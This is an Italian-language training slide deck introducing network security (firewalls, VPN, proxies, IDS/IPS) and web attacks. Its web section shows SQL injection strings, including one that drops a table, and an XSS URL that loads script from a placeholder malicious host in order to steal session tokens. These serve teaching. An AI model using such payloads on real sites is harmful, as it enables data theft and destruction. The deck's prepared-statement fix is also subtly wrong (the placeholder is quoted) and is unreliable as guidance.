Sei sulla pagina 1di 69

SECURITY

SSS SOFT
START
Academy

SSS 1
Security Soft Start - Onstairs © 2020
LEZIONE 2

SSS 2
Security Soft Start - Onstairs © 2020
#ARGOMENTI E OBIETTIVI
START

NETWORK SECURITY
➢ Firewall, Virtual Private Network, Proxy/Reverse Proxy
➢ Intrusion Detection & Intrusion Prevention Systems

WEB APPLICATION SECURITY


➢ Struttura generale di un’applicazione Web
➢ Attacchi ad applicazioni Web: SQL Injection e XSS

SSS 3
Security Soft Start - Onstairs © 2020
# NETWORK SECURITY

SSS 4
Security Soft Start - Onstairs © 2020
#Firewall
• Un firewall è un sistema in grado di filtrare il traffico tra differenti
segmenti di rete sulla base di una serie di criteri (policy)

• Un firewall può essere utilizzato per proteggere un singolo Host oppure


un’intera rete

• Un WAF (Web Application Firewall) è un firewall progettato


specificatamente per la protezione di applicazioni e server Web.

• Un firewall può ispezionare il traffico in modalità Stateless oppure in


modalità Stateful. Quest’ultimo tiene conto dello stato della connessione
TCP
SSS 5
Security Soft Start - Onstairs © 2020
# Firewall

INTERNET

Firewall

Proteggere i servizi esposti su Internet da attacchi


informatici, tentativi di intrusione
Server Web

Evitare l’accesso a siti illegali o contenenti software


dannoso

RETE INTERNA

SSS 6
Security Soft Start - Onstairs © 2020
#Firewall Stateless
• Quante e quali policy implementare sul firewall per permettere al Client
l’accesso ai contenuti web presenti sul Server?

(B,80)

(A, 1100)
Client Server
Firewall

# IP Sorgente Porta Sorgente IP Destinazione Porta Destinazione Azione


1 A 1100 B 80 Permetti (Permit)

SSS 7
Security Soft Start - Onstairs © 2020
#Firewall Stateless
• Quante e quali policy implementare sul firewall per permettere al Client
l’accesso ai contenuti web presenti sul Server?

(B,80)

(A, 1100)
Client Server
Firewall

# IP Sorgente Porta Sorgente IP Destinazione Porta Destinazione Azione


1 A 1100 B 80 Permetti (Permit)
2 B 80 A 1100 Permetti (Permit)

SSS 8
Security Soft Start - Onstairs © 2020
#Firewall Stateful
• Un Firewall Stateful tiene traccia di ogni sessione TCP stabilita ed
ispeziona il traffico basandosi sullo stato della sessione

(B,80)

(A, 1100)
Client Server
Firewall

# IP Sorgente Porta Sorgente IP Destinazione Porta Destinazione Azione


1 A 1100 B 80 Permetti (Permit)

SSS 9
Security Soft Start - Onstairs © 2020
#Firewall Stateful
• Un Firewall Stateful tiene traccia di ogni sessione TCP stabilita ed
ispeziona il traffico basandosi sullo stato della sessione

(B,80)

(A, 1100)
Client Server
Firewall
SYN source_port=1100 , dest_port=80

SYN ACK source_port=80 , dest_port=1100

SSS 10
Security Soft Start - Onstairs © 2020
#Firewall Stateful
• Un Firewall Stateful tiene traccia di ogni sessione TCP stabilita ed
ispeziona il traffico basandosi sullo stato della sessione

(B,80)

(A, 1100)
Client Server
Firewall

SYN ACK source_port=80 , dest_port=1100

SSS 11
Security Soft Start - Onstairs © 2020
# Next-Generation Firewall
• Un Firewall tradizionale non è generalmente in grado di esaminare le
applicazioni.

• Voglio consentire l’utilizzo della Chat Facebook ma al contempo bloccare


l’accesso alla bacheca e ai giochi. Come fare?

(B,443)

(A, 1100)
Client Firewall Server
Facebook

SSS 12
Security Soft Start - Onstairs © 2020
# Next-Generation Firewall
Cosa fa un Next-Generation Firewall

• Ispezione applicativi

• Web filtering

• Utilizzo Intelligence esterne (es. motori Antivirus)

• IAM (Controllo identità accessi)

• Modalità Route e Bridge

SSS 13
Security Soft Start - Onstairs © 2020
# Virtual Private Network (VPN)
• La funzionalità Virtual Private Network (VPN) permette lo scambio dati tra due entità
su rete pubblica in maniera sicura e protetta

Hacker

Sede INTERNET Sede


Roma Milano
R1RM R2MI
Hacker Hacker

SSS 14
Security Soft Start - Onstairs © 2020
# Virtual Private Network (VPN)
• Virtual Private Network (VPN) svolge le seguenti funzioni:

I dati possono essere letti solo dal legittimo


PRIVACY destinatario

AUTENTICAZIONE Il destinatario può verificare l’attendibilità


dell’entità che ha inviato pacchetti VPN

SSS 15
Security Soft Start - Onstairs © 2020
# Virtual Private Network (VPN)
• Virtual Private Network (VPN) svolge le seguenti funzioni:

Un intruso potrebbe interporsi tra mittente e


ANTI REPLAY destinatario e manipolare i dati scambiati tra le
due entità

Il destinatario può accertare se i dati ricevuti


INTEGRITA’ DEI DATI sono integri

SSS 16
Security Soft Start - Onstairs © 2020
# Virtual Private Network (VPN)
• Le funzionalità descritte sono implementate per mezzo di un collegamento logico
instaurato dalla tecnologia VPN detto VPN Tunnel

• Un intruso può catturare i pacchetti in transito sul Tunnel, tuttavia non sarebbe in
grado di comprenderli essendo essi cifrati

Hacker
Hacker
INTERNET
Sede Sede
Roma Milano
R2MI
R1RM VPN Tunnel
SSS 17
Security Soft Start - Onstairs © 2020
# Tipologie di VPN
• Le principali tipologie di VPN sono:

✓ Intranet VPN: utilizzata per connettere due sedi della stessa azienda. E’ un
collegamento di tipologia Site-to-Site

✓ Extranet VPN: utilizzata per connettere la sede di un’azienda con quella di


un’altra azienda (fornitore, partner..). E’ un collegamento di tipologia Site-
to-Site

✓ Remote Access VPN: utilizzata per permettere a singole entità di poter


raggiungere le risorse interne alla rete. E’ in genere utilizzata per dare ai
dipendenti di un’azienda la possibilità di accedere alle risorse di rete anche
stando all’esterno (ad esempio da casa). E’ un collegamento di tipologia
Dial-Up
SSS 18
Security Soft Start - Onstairs © 2020
#VIRTUAL PRIVATE NETWORK
• Sfrutta una connettività pubblica per fornire l’accesso a reti e contenuti privati

• I dati transitano su un tunnel sicuro e cifrato

DATACENTER INTERNET

SSS 19
Security Soft Start - Onstairs © 2020
#VIRTUAL PRIVATE NETWORK
VPN SSL VPN IPSEC
o Ideale per applicazioni «network-
o Transazioni web sicure based»
o I dati tra client e server sono o Instaurazione di un tunnel cifrato tra
scambiati su un link HTTPS due host
o Web-Only mode o Modalità Point-to-Point
o Tunnel mode o Modalità Dial-Up

SSS 20
Security Soft Start - Onstairs © 2020
#VPN SSL – WEB-ONLY MODE
• Accesso di tipo Clientless
• Utilizza un processo SSL Daemon in esecuzione su un dispositivo e un portale web impiegato per
l’autenticazione e per la gestione di risorse HTTP(s), Telnet, Ftp, SMB/CIFS, VNC, RDP e SSH

https://1.2.3.4:10443

WAN1
1.2.3.4 INTERNET
DATACENTER

SSS 21
Security Soft Start - Onstairs © 2020
#VPN SSL – WEB-ONLY MODE

SSS 22
Security Soft Start - Onstairs © 2020
#VPN SSL – WEB-ONLY MODE

SSS 23
Security Soft Start - Onstairs © 2020
#VPN SSL – TUNNEL MODE
• Utilizza un Client per stabilire il tunnel cifrato con un Firewall

Google
LAN

WAN1
1.2.3.4
DATACENTER

SSS 24
Security Soft Start - Onstairs © 2020
#VPN SSL – TUNNEL MODE
• Durante l’instaurazione di un tunnel VPN SSL, il firewall associa al client un indirizzo IP virtuale che
sarà utilizzato per tutta la durata della connessione

• Per mezzo della funzione Split Tunneling è possibile inviare all’SSL VPN gateway solamente il traffico
diretto verso le reti interne e non il traffico Internet

Google
LAN

WAN1
1.2.3.4
DATACENTER

SSS 25
Security Soft Start - Onstairs © 2020
#VPN SSL – HOST CHECK
• Per mezzo della funzione Host Check è possibile analizzare lo stato del sistema client

• E’ possibile verificare se le definizioni del Sistema antivirus sono aggiornate oppure se determinati
software di sicurezza sono attivi o meno

LAN

WAN1
1.2.3.4

SSS 26
Security Soft Start - Onstairs © 2020
#VPN IPSEC
• IPSEC è un insieme di protocolli e servizi utilizzati per lo scambio sicuro di dati. Nello specifico
forniscono:

✓ Autenticazione del mittente


✓ Segretezza (Cifratura)
✓ Anti ripudio

• IPSEC opera a livello Network, di conseguenza la cifratura è trasparente ai livelli superiori e le


applicazioni non devono essere progettate specificatamente per utilizzarlo

• I pacchetti IP sono incapsulati all’interno di pacchetti IPSEC e inoltrati all’interno di un tunnel sicuro

SSS 27
Security Soft Start - Onstairs © 2020
#VPN IPSEC
• Il pacchetto IP resta inalterato durante il transito sul tunnel

WAN1
1.2.3.4
IPS Packet c
IP Packet

SSS 28
Security Soft Start - Onstairs © 2020
#VPN IPSEC
• Il pacchetto IP resta inalterato durante il transito sul tunnel

c
IP Packet

IPS Packet

WAN1
1.2.3.4
IPS Packet c
IP Packet

SSS 29
Security Soft Start - Onstairs © 2020
#VPN IPSEC SA
• Security Association (SA) è l’elemento fondamentale di un’architettura IPSEC

• Una SA è un insieme di parametri e algoritmi utilizzati per cifrare i dati in transito su un link VPN. Tali
parametri sono scelti dall’amministratore del firewall

• Un flusso dati bidirezionale è gestito da una coppia di SA

SSS 30
Security Soft Start - Onstairs © 2020
#IKE – INTERNET KEY EXCHANGE
• IKE è utilizzato per la negoziazione di una SA tra due entità (peer)

• Phase1: autenticazione dei peer e creazione di un canale sicuro su di cui scambiare le chiavi di
cifratura

• Phase2: negoziazione dei parametri IPSEC necessari all’instaurazione di un tunnel sicuro

Phase 2

Phase 1

SSS 31
Security Soft Start - Onstairs © 2020
#TOPOLOGIE IPSEC
• Site-to-Site:

✓ Utilizzata per collegare due sedi


✓ Possibilità di ispezionare il traffico che transita sulla VPN
✓ Configurazione di Firewall Policy

• Site-to-Multi site:

✓ Configurazione Hub-and-Spoke
✓ Ciascun Hub instaura un tunnel IPSEC con lo Spoke
✓ Configurazione di Firewall Policy

• Site-to-Client:

✓ Utilizzata per accesso remoto (Dial-up users)


✓ Possibilità di abilitare split tunneling
✓ Utilizzata nei casi in cui l’IP dell’utente remote è di tipo dinamico
SSS 32
Security Soft Start - Onstairs © 2020
#TOPOLOGIE IPSEC

Sede Centrale

Site-to-site
Ufficio Periferico

Ufficio Periferico

SSS 33
Security Soft Start - Onstairs © 2020
#TOPOLOGIE IPSEC

Sede Centrale

Ufficio Periferico

Site-to-multi site (Hub and Spoke)

Ufficio Periferico

SSS 34
Security Soft Start - Onstairs © 2020
#TOPOLOGIE IPSEC

Sede Centrale

Ufficio Periferico

Site-to-client

Ufficio Periferico
Utente Remoto

SSS 35
Security Soft Start - Onstairs © 2020
#Server Proxy
• Un server Proxy è un sistema utilizzato per inoltrare a destinazione
richieste per servizi specifici (es. Web, Ftp ecc.)

• Un server Proxy riceve le richieste dai sistemi presenti all’interno di una


rete, recupera il contenuto richiesto (generalmente da Internet) e lo
inoltra al sistema che ne ha fatto richiesta

• Generalmente I server Proxy utilizzano un Sistema di Caching al fine di


ottimizzare le performance e l’utilizzo della banda Internet

• Un server Proxy Web può essere utilizzato per filtrare I siti web accessibili
dai sistemi presenti all’interno di una rete. E’ inoltre possibile tenere
traccia di tutti i siti consultati (logging)
SSS 36
Security Soft Start - Onstairs © 2020
#Server Proxy
• Le richieste del Client sono intercettate dal server Proxy

Client Server
A Proxy Web
https://www.onstairs.com https://www.onstairs.com

SSS 37
Security Soft Start - Onstairs © 2020
#Server Proxy
• Le richieste del Client sono intercettate dal server Proxy

Client Server
A Proxy Web

SSS 38
Security Soft Start - Onstairs © 2020
#Server Proxy
• Come si comporta il Proxy se «Client B» richiede la stessa pagina web?

Client Server
B Proxy Web
https://www.onstairs.com

SSS 39
Security Soft Start - Onstairs © 2020
#Server Proxy
• Il Proxy verifica il contenuto dell’unità di memoria Cache

• Se nella Cache è presente il contenuto richiesto, viene inoltrato al Client.


In caso contrario il Proxy eseguirà l’accesso ad Internet per recuperare la
pagina Web desiderata

Onstairs.com

Cache
Client Server
B Proxy Web

SSS 40
Security Soft Start - Onstairs © 2020
#Server Proxy
• Come si comporta il Proxy se «Client B» richiede la stessa pagina web?

Onstairs.com

Client Cache Server


B Proxy Web
https://www.onstairs.com

SSS 41
Security Soft Start - Onstairs © 2020
#Server Proxy
• Le modalità di implementazione di un server Proxy sono: Transparent e
Non Transparent

• Un Transparent Proxy riceve e inoltra le richieste senza modificarne il


contenuto (es. indirizzo IP sorgente)

• Un Non- Transparent Proxy (Explicit Proxy) modifica invece il contenuto


delle richieste gestite e richiede generalmente una configurazione sul
sistema Client che genera le richieste

SSS 42
Security Soft Start - Onstairs © 2020
#Transparent vs Explicit Proxy
Chi ha generato la
richiesta?

Client Server
Explicit Web
Proxy
Sorgente Destinazione
Explicit Proxy Server Web

SSS 43
Security Soft Start - Onstairs © 2020
#Transparent vs Explicit Proxy
Chi ha generato la
richiesta?

Client Server
Transparent Web
Proxy
Sorgente Destinazione
Client Server Web

SSS 44
Security Soft Start - Onstairs © 2020
#Reverse Proxy
• Un reverse proxy agisce in maniera opposta rispetto a un forward proxy.

• Mentre un forward proxy agisce da intermediario tra le richieste dei client e un


qualsiasi server, un reverse proxy agisce da intermediario tra i server e un qualsiasi
client che li contatti.

• Generalmente i reverse proxy servono per nascondere e proteggere funzionalità più


deboli di framework applicativi, in particolar modo vengono impiegati per migliorare
la scalabilità del sistema in caso di un elevato numero di richieste.

• Un altro uso comune è per fornire sicurezza tramite TLS a tutti i server ad esso
collegato: i server vengono contattati internamente in HTTP, ma la comunicazione tra
il reverse proxy e i client avviene tramite HTTPS in maniera trasparente per il client.

SSS 45
Security Soft Start - Onstairs © 2020
#Reverse Proxy
• Le richieste del Client sono intercettate dal reverse Proxy che le rigira sulla
rete interna al server web

Client Server
A Proxy Web
https://www.onstairs.com http://10.0.0.1:8080

SSS 46
Security Soft Start - Onstairs © 2020
#Reverse Proxy
• La risposta del server viene inviata al reverse proxy che la girerà al client
originario. Attraverso opportuna manipolazione degli header, il processo è
totalmente trasparente al client.

Client Server
A Proxy Web
HTTPS HTTP

SSS 47
Security Soft Start - Onstairs © 2020
# Intrusion Detection Systems
• Un Intrusion Detection System è un sistema in grado di monitorare la
rete (o un singolo Sistema) e generare un Allarme (Alert) nel momento in
cui viene rilevata un’anomalia o un potenziale attacco informatico.

• Un Host Intrusion Detection System (HIDS) è un software installato sul


singolo sistema da proteggere

• Un Network Intrusion Detection System (NIDS) è un dispositivo in grado di


proteggere da attacchi informatici tutti gli apparati presenti all’interno di
una rete

SSS 48
Security Soft Start - Onstairs © 2020
# Intrusion Detection Systems

Attenzione,
Anomalia!!!

Hacker
NIDS

RETE
Utente
Legittimo

SSS 49
Security Soft Start - Onstairs © 2020
# Intrusion Detection Systems
• Un NIDS può essere connesso su una porta dello switch configurata in
modalità Mirroring (Span port)

INTERNET

Span Port

NIDS

SSS 50
Security Soft Start - Onstairs © 2020
# Intrusion Detection Systems
• Un NIDS non esamina il traffico “real-time”, bensì lavora su una copia del
traffico di rete. Si dice in tal caso che il NIDS opera in modalità “Out-of-
Band”

• La rilevazione degli attacchi avviene generalmente in due modi:

✓ consultando una lista contenente tutti gli attacchi noti. Ciascuna


voce all’interno della lista è detta Signature

✓ Sulla base del “comportamento” della rete. L’IDS costruisce un


modello di partenza ritenuto “normale” e segnala eventuali
variazioni rispetto al modello di partenza. L’analisi è detta Euristica
o Comportamentale
SSS 51
Security Soft Start - Onstairs © 2020
# Intrusion Detection Systems
• Un NIDS può rilevare un attacco informatico ma non può bloccarlo!

INTERNET Hacker

Attenzione,
Attacco!!!

Span Port

NIDS

Vittima 52
SSS
Security Soft Start - Onstairs © 2020
# Intrusion Prevention Systems
• Un Intrusion Detection System è un sistema in grado di monitorare la
rete o un sistema e generare un Allarme (Alert) nel momento in cui viene
rilevata un’anomalia o un potenziale attacco informatico.

• Un Host Intrusion Prevention System (HIPS) è un software installato sul


singolo sistema da proteggere

• Un Network Intrusion Prevention System (NIPS) è un dispositivo installato


all’interno di una rete e in grado di proteggere da attacchi informatici tutti
gli apparati presenti all’interno della rete

• A differenza di un IDS un Intrusion Prevention System è in grado di


rilevare e bloccare un attacco in corso
SSS 53
Security Soft Start - Onstairs © 2020
# Intrusion Prevention Systems
• Un NIPS può rilevare e bloccare un attacco informatico in corso

INTERNET Hacker

Attacco!
Blocco il flusso dati!

NIPS

SSS Vittima Security Soft Start - Onstairs © 2020


54
# Intrusion Prevention Systems
• Un NIPS può rilevare e bloccare un attacco informatico in corso

INTERNET Hacker

Attacco!
Blocco il flusso dati!

NIPS

SSS Vittima Security Soft Start - Onstairs © 2020


55
# Intrusion Prevention Systems
• Un NIPS esamina il traffico “real-time”, Si dice in tal caso che il NIPS opera
in modalità “In-Band”

• La rilevazione degli attacchi avviene generalmente in due modi:

✓ consultando una lista contenente tutti gli attacchi noti. Ciascuna


voce all’interno della lista è detta Signature

✓ Sulla base del “comportamento” della rete. L’IDS costruisce un


modello di partenza ritenuto “normale” e segnala eventuali
variazioni rispetto al modello di partenza. L’analisi è detta Euristica
o Comportamentale

SSS 56
Security Soft Start - Onstairs © 2020
# Falsi Positivi e Falsi Negativi
• La rilevazione degli attacchi avviene dunque sulla base di signature o su
base Euristica/Comportamentale

• Un allarme viene generato quando si superano determinati Valori di


Soglia preimpostati

• Il problema principale consiste nella generazione di Allarmi che non


corrispondono nella realtà a situazioni di attacco. Parleremo di:

✓ Falso positivo: Allarme generato in concomitanza di un evento non


malevolo

✓ Falso negativo: Allarme NON generato in concomitanza di un


SSS
evento malevolo (attacco)
Security Soft Start - Onstairs © 2020
57
# WEB APPLICATION SECURITY

SSS 58
Security Soft Start - Onstairs © 2020
# Struttura generale di un’applicazione Web
• Per applicazione web, si intende un'applicazione la cui
implementazione si basa sui protocolli e i linguaggi del web
• Per quanto riguarda i protocolli, utilizzerà quindi il protocollo HTTP(S)
tramite un'architettura a web services.
• Per quanto riguarda i linguaggi, queste applicazioni possono essere
fruite tramite sito web, e in questo caso si dovrà usare la
combinazione HTML/CSS/Javascript o tramite app mobile, e in tal
caso il linguaggio dipende dal sistema operativo mobile.
• Vi è libertà implementativa per l'applicazione server, per la quale si
possono usare diversi linguaggi (PHP, Java, .NET, Python, …)
SSS 59
Security Soft Start - Onstairs © 2020
# Struttura generale di un’applicazione Web
• Nella maggior parte dei casi un'applicazione web avrà bisogno di un
database all'interno del quale sanno memorizzati i dati.

• Spesso possono anche essere coinvolti anche altri sistemi, come


sistemi per la cache, server proxy, load balancers, File server, …

• La complessità di una moderna applicazione web distribuita fa si che


la sicurezza sia un particolare punto a cui prestare attenzione: le
minacce posso provenire sia da problematiche inerenti l'infrastruttura
di rete sia da problematiche implementative nel software.

SSS 60
Security Soft Start - Onstairs © 2020
# Struttura generale di un’applicazione Web

HTTP
HTTP Database
Internet Server

HTTP

HTTP Reverse Web


Proxy Server
HTTP HTTP

File
Server
SSS 61
Security Soft Start - Onstairs © 2020
# Attacchi ad applicativi: SQL Injection
• SQL injection rappresenta una delle tecniche utilizzate, per abusare di
codice non sicuro.
• Ad esempio il seguente frammento di codice Java:

String sqlStatement = "SELECT * FROM users WHERE name = '" + username + "';"

• Perché questo codice è vulnerabile?

SSS 62
Security Soft Start - Onstairs © 2020
# Attacchi ad applicativi: SQL Injection
• L'errato controllo sulla concatenazione delle stringhe può portare un malintenzionato ad
accedere ad informazioni a cui non è autorizzato o a danneggiare il database.
• Se ad esempio il campo username viene valorizzato con la stringa:

' or '1' = '1

• La query restituirà tutti i valori della tabella users (data leak). Oppure, ancora peggio, si
potrebbe inserire come valore:

'; DROP TABLE users;

• In quel caso la tabella sarà addirittura cancellata.

SSS 63
Security Soft Start - Onstairs © 2020
# Attacchi ad applicativi: SQL Injection
• Per evitare questi attacchi, i linguaggi di programmazione hanno degli
appositi costrutti chiamati PreparedStatement che permettono di costruire
gli statement SQL come stringhe con variabili che saranno poi sostituite in
maniera sicura.
• Ad esempio, in Java:

String sqlStatement = "SELECT * FROM users WHERE name = '?';"

• Sarà poi possibile inserire il valore del placeholder al posto del carattere di
?. Java verificherà automaticamente che non vi sia codice dannoso al suo
interno.

SSS 64
Security Soft Start - Onstairs © 2020
# Attacchi ad applicativi: XSS
• XSS è l'acronimo di Cross Site Scripting, rappresenta un altro esempio
di vulnerabilità software estremamente diffusa e pericolosa.
• Anche in questo caso, è dovuta a una mancata validazione dei dati in
ingresso inseriti dall'utente.
• Le vulnerabilità XSS si distinguono in due tipologie:
1. Non persistenti
2. Persistenti

SSS 65
Security Soft Start - Onstairs © 2020
# Attacchi ad applicativi: XSS
• Nelle vulnerabilità non persistenti, non viene memorizzato nessun
dato sul server remoto, quindi sarà necessario costruire un apposito
url che serva a sfruttare la vulnerabilità e a diffondere questo url alle
vittime.
• Ipotizziamo di avere un sito web che accetti dei query parameters,
ovvero i parametri che si vedono all'interno della barra degli indirizzi
del browser. Ad esempio:
http://www.mysite.com/search?q=pencil
• In questo caso stiamo passando il termine "pencil" come termine di
ricerca.
SSS 66
Security Soft Start - Onstairs © 2020
# Attacchi ad applicativi: XSS
• Cosa succede se proviamo ad usare un url di questo tipo?

http://www.mysite.com/search?q=pencil<script%20src="
http://malicio.us/harmful.js"></script>

• Se l'input non viene correttamente validato, il risultato porterà


all'esecuzione del javascript indicato.
• Questo JavaScript potrebbe prendere il token della sessione e rinviarlo
verso il sito malevolo, a quel punto chi ha effettuato l'attacco ha accesso
alla sessione corrente dell'utente e così via.
• Con questo tipo di attacco è ovviamente necessario che si riceva l'url
malevolo ad esempio tramite e-mail.

SSS 67
Security Soft Start - Onstairs © 2020
# Attacchi ad applicativi: XSS
• Negli attacchi persistenti invece, i dati di attacco vengono inviati al
server che li memorizza. Gli utenti che accederanno al sito saranno
automaticamente attaccati.
• L'esempio classico è quello dei forum o dei siti dove comunque gli
utenti possono inviare dei contenuti che sono poi disponibili ad altri
utenti.
• Ad esempio, nel caso delle sezioni dei commenti un articolo di un sito,
si può aggiungere del codice JavaScript malevolo.
• Questo tipo di attacco è ancora più pericoloso perché qualunque
utente visiti il sito o la pagina sarà sotto attacco.
SSS 68
Security Soft Start - Onstairs © 2020
# Attacchi ad applicativi: XSS
• Esistono diversi accorgimenti per evitare attacchi di XSS.
• Il più efficiente è sicuramente quello di effettuare sempre un'accurata
validazione dei valori in ingresso inseriti dall'utente, a tal scopo vi
sono delle librerie apposite che si occupano già di effettuare questa
pulizia.
• Altri metodi effettuano un'associazione tra IP e sessione utente, in
questo modo anche se il token della sessione dovesse andare perso,
non potrà essere utilizzato.
• Per prevenire l'invio di comunicazioni ad url diversi, i browser
adottano come misura preventiva la same origin policy che può però
essere disattivata attraverso appositi header http.
SSS 69
Security Soft Start - Onstairs © 2020

Potrebbero piacerti anche